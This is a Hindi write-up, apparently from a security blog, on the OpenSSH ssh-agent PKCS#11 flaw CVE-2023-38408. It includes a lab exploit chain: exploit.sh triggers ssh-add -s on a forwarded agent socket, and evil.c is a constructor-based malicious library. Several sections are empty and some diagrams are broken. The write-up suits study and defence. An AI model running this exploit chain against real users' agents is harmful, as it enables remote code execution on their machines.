CVE-2023-38408 क्या है और यह क्यों महत्वपूर्ण है

CVE-2023-38408 एक भेद्यता है जो OpenSSH में ssh-agent को प्रभावित करती है जब PKCS#11 समर्थन सक्षम होता है। यदि उपयोगकर्ता एजेंट फ़ॉरवर्डिंग सक्षम (ssh -A) के साथ एक समझौता किए गए सर्वर से कनेक्ट होता है तो यह क्लाइंट मशीन पर दूरस्थ कोड निष्पादन की अनुमति देता है। इस भेद्यता के सुरक्षित प्रमाणीकरण के लिए OpenSSH पर निर्भर किसी भी सिस्टम के लिए गंभीर परिणाम हैं।

2. पृष्ठभूमि अवधारणाएँ

2.1 SSH अवलोकन

SSH (सिक्योर शेल) एक क्रिप्टोग्राफिक नेटवर्क प्रोटोकॉल है जो असुरक्षित नेटवर्क पर सुरक्षित संचार के लिए उपयोग किया जाता है। यह रिमोट लॉगिन, कमांड निष्पादन, फ़ाइल स्थानांतरण और अधिक के लिए एन्क्रिप्टेड चैनल प्रदान करता है।```mermaid graph LR A[SSH Client] -->|Encrypted Connection| B[SSH Server] A -->|Authentication| C[ssh-agent] C -->|Private Keys| D[Key Store] B -->|Agent Forwarding| E[Remote ssh-agent Proxy]

तकनीकी रूप से, जब आप ssh -A का उपयोग करते हैं, तो SSH क्लाइंट रिमोट सर्वर पर एक यूनिक्स डोमेन सॉकेट सेट करता है जो आपके स्थानीय ssh-agent के लिए एक प्रॉक्सी के रूप में कार्य करता है। पर्यावरण चर SSH_AUTH_SOCK इस प्रॉक्सी सॉकेट को इंगित करने के लिए सेट किया जाता है। रिमोट सर्वर पर SSH_AUTH_SOCK पर किए गए किसी भी कॉल को SSH कनेक्शन के माध्यम से वापस भेजा जाता है और आपके स्थानीय ssh-agent द्वारा संसाधित किया जाता है।

2.3 PKCS#11 क्या है

PKCS#11 एक मानक API है जो क्रिप्टोग्राफिक टोकनों, जैसे स्मार्टकार्ड, YubiKeys, या वर्चुअल हार्डवेयर सुरक्षा मॉड्यूल (HSMs) के साथ इंटरैक्ट करने के लिए है।

ssh-agent PKCS#11 को कैसे सपोर्ट करता है

OpenSSH का ssh-agent कमांड ssh-add -s /path/to/provider.so का उपयोग करके PKCS#11 प्रदाताओं (साझा .so लाइब्रेरी) को लोड करने का समर्थन करता है। ये लाइब्रेरी एजेंट को निजी कुंजियों को सीधे उजागर किए बिना सुरक्षित हार्डवेयर या सॉफ्टवेयर मॉड्यूल के साथ इंटरैक्ट करने की अनुमति देती हैं।

अंदर से, जब ssh-add -s कॉल किया जाता है, तो यह निम्नलिखित कार्य करता है:

• .so फ़ाइल को dlopen() का उपयोग करके डायनामिक रूप से मेमोरी में लोड किया जाता है।
• एजेंट PKCS#11 API के माध्यम से C_Initialize(), C_GetSlotList(), C_FindObjects(), और C_Sign() जैसे फ़ंक्शनों को रिज़ॉल्व और कॉल करता है।
• प्रदाता मेटाडेटा लौटाता है और प्रमाणीकरण चुनौतियों पर हस्ताक्षर करने के अनुरोधों को संभालता है, निजी कुंजी सामग्री को हार्डवेयर टोकन के भीतर सुरक्षित रखता है।

3. CVE-2023-38408 भेद्यता

3.1 CVE सारांश

3.2 भेद्यता तंत्र

भेद्यता ssh-agent द्वारा ssh-add -s के माध्यम से प्रदान की गई किसी भी साझा ऑब्जेक्ट फ़ाइल (.so) को लोड करने से उत्पन्न होती है, बिना यह मान्य किए कि यह एक वैध PKCS#11 प्रदाता है।```mermaid graph TD A[Attacker sends ssh-add -s malicious.so] --> B[Request forwarded to victim's ssh-agent] B --> C[ssh-agent calls dlopen on malicious.so] C --> D[Constructor function executes immediately] D --> E[Arbitrary code runs on victim machine]

सबसे निचले स्तर पर, घटनाओं का क्रम इस प्रकार है:

1. एक दूरस्थ सिस्टम फ़ॉरवर्डेड एजेंट को एक अनुरोध भेजता है जिसमें वह ssh-add -s /path/to/lib.so करने के लिए कहता है।
2. स्थानीय ssh-agent इस अनुरोध को प्राप्त करता है और आँख बंद करके dlopen("/path/to/lib.so", RTLD_NOW) को कॉल करता है।
3. यदि .so फ़ाइल में एक कंस्ट्रक्टर फ़ंक्शन (__attribute__((constructor))) है, तो यह लोड होने पर तुरंत निष्पादित होता है।
4. यह कंस्ट्रक्टर मनमाना दुर्भावनापूर्ण कोड रख सकता है जो क्लाइंट मशीन पर चलता है।

3.4 वास्तविक हमला परिदृश्य

4. व्यावहारिक सिमुलेशन और परीक्षण

4.1 सिमुलेशन वातावरण सेटअप

नियंत्रित वातावरण में इस कमजोरी को प्रदर्शित करने के लिए, कई उपयोगकर्ता खातों और टर्मिनलों का उपयोग करके एक व्यापक सिमुलेशन आयोजित किया गया।

वातावरण कॉन्फ़िगरेशन

उपयोगकर्ता खाता निर्माण```bash

As main user

sudo adduser victim sudo adduser attacker

4.2 सिमुलेशन स्क्रिप्ट्स और कार्यान्वयन

पीड़ित का कनेक्शन स्क्रिप्ट (new-connection.sh)```bash

#!/bin/bash

Kill any existing agent

eval $(ssh-agent -k) > /dev/null 2>&1

Start a new agent and add key

eval $(ssh-agent -s) ssh-add ~/.ssh/id_rsa

Connect to attacker with agent forwarding

ssh -A attacker@localhost

शोषण स्क्रिप्ट (exploit.sh)```bash

#!/bin/bash

Use forwarded agent

export SSH_AUTH_SOCK=$(echo /tmp/ssh-/agent.)

Trigger the malicious shared object via ssh-agent

ssh-add -s /usr/lib/x86_64-linux-gnu/pkcs11/evil.so

मुख्य अवलोकन: भले ही पैच किए गए संस्करणों में एजेंट ऑपरेशन से इनकार करता है, यह सिमुलेशन हमले के वेक्टर को प्रदर्शित करता है और पुराने संस्करणों में भेद्यता के प्रभाव को समझने में मदद करता है।

4.4 पेलोड निर्माण विश्लेषण

C-आधारित दुर्भावनापूर्ण लाइब्रेरी```c

// evil.c - Example malicious PKCS#11 library #include <stdlib.h> #include <stdio.h>

attribute((constructor)) void malicious_constructor() { // This executes immediately when dlopen() is called system("echo 'Exploit triggered' > /tmp/exploit.log"); system("touch ~/exploit.txt"); // In a real attack, this could download and execute additional payloads }

// Minimal PKCS#11 function to make it appear legitimate void C_Initialize() { return; }

5. तकनीकी विश्लेषण

5.1 मूल कारण विश्लेषण

यह कमजोरी OpenSSH के ssh-agent कार्यान्वयन में कई डिज़ाइन निर्णयों के कारण मौजूद है:

5.2 मेमोरी और प्रक्रिया विश्लेषण```mermaid

graph TB A[ssh-agent process] --> B[dlopen system call] B --> C[Load malicious.so into memory] C --> D[Execute constructor function] D --> E[Arbitrary code execution] D --> F[Spawn child processes] D --> G[File system modifications] D --> H[Network connections]

6.2 कार्यान्वयन विश्लेषण```mermaid

flowchart TD A[ssh-add -s request] --> B{PKCS#11 allowed?} B -->|No| C[Agent refused operation] B -->|Yes| D{Valid PKCS#11 library?} D -->|No| E[Validation failed] D -->|Yes| F[Load library safely]

2. नेटवर्क विभाजन ```mermaid graph LR A[Trusted Network] --> B[Jump Host] B --> C[DMZ] C --> D[Production Network]

   Note1[No agent forwarding beyond Jump Host] Note2[Separate credentials for each zone]

   root@kitploit:~

3. निगरानी और पहचान ```bash

   Monitor ssh-agent processes

   ps aux | grep ssh-agent

   Check for unusual .so loads

   lsof -p $(pgrep ssh-agent) | grep '.so$'

   Monitor SSH_AUTH_SOCK usage

   auditctl -w /tmp -p w -k ssh_agent_monitor

   root@kitploit:~

6.4 सर्वोत्तम अभ्यास कार्यान्वयन

संगठनात्मक सुरक्षा नीतियाँ

7. निष्कर्ष

7.1 मुख्य निष्कर्ष

CVE-2023-38408 एक गंभीर सुरक्षा दोष को प्रदर्शित करता है जिसने SSH क्लाइंट और एजेंटों के बीच विश्वास संबंध का शोषण किया। व्यावहारिक सिमुलेशन के माध्यम से, कई प्रमुख अंतर्दृष्टियाँ सामने आती हैं:

1. विश्वास सीमा उल्लंघन: इस भेद्यता ने अग्रेषित एजेंट कनेक्शनों में निहित विश्वास का शोषण किया
2. कंस्ट्रक्टर दुरुपयोग: साझा लाइब्रेरी कंस्ट्रक्टरों के माध्यम से दुर्भावनापूर्ण कोड निष्पादन ने सभी सुरक्षा नियंत्रणों को दरकिनार कर दिया
3. डिफ़ॉल्ट असुरक्षा: डिफ़ॉल्ट रूप से PKCS#11 समर्थन सक्षम होने से एक अनावश्यक हमला सतह बन गई
4. एजेंट अग्रेषण जोखिम: एजेंट अग्रेषण की सुविधा ने गंभीर सुरक्षा निहितार्थ उत्पन्न किए

7.2 प्रभाव आकलन

7.3 सीखे गए सबक

यह भेद्यता विश्लेषण, व्यावहारिक सिमुलेशन द्वारा संवर्धित, कई महत्वपूर्ण सबक प्रदान करता है:

1. सुरक्षित डिफ़ॉल्ट: सुरक्षा सुविधाएं डिफ़ॉल्ट रूप से अक्षम होनी चाहिए और स्पष्ट सक्रियण की आवश्यकता होनी चाहिए
2. इनपुट सत्यापन: सभी बाहरी इनपुट, जिसमें लाइब्रेरी फ़ाइलें शामिल हैं, को कठोरता से सत्यापित किया जाना चाहिए
3. न्यूनतम विशेषाधिकार का सिद्धांत: एजेंट अग्रेषण केवल विश्वसनीय वातावरण तक सीमित होना चाहिए
4. गहराई में सुरक्षा: कई सुरक्षा परतें एकल विफलता बिंदुओं को रोकती हैं

7.4 भविष्य के विचार```mermaid

mindmap root((Security Evolution)) Modern Threats Supply Chain Attacks Zero-Trust Architecture Container Security SSH Security Certificate-based Auth Hardware Security Modules Multi-factor Authentication Organizational Measures Security Training Incident Response Continuous Monitoring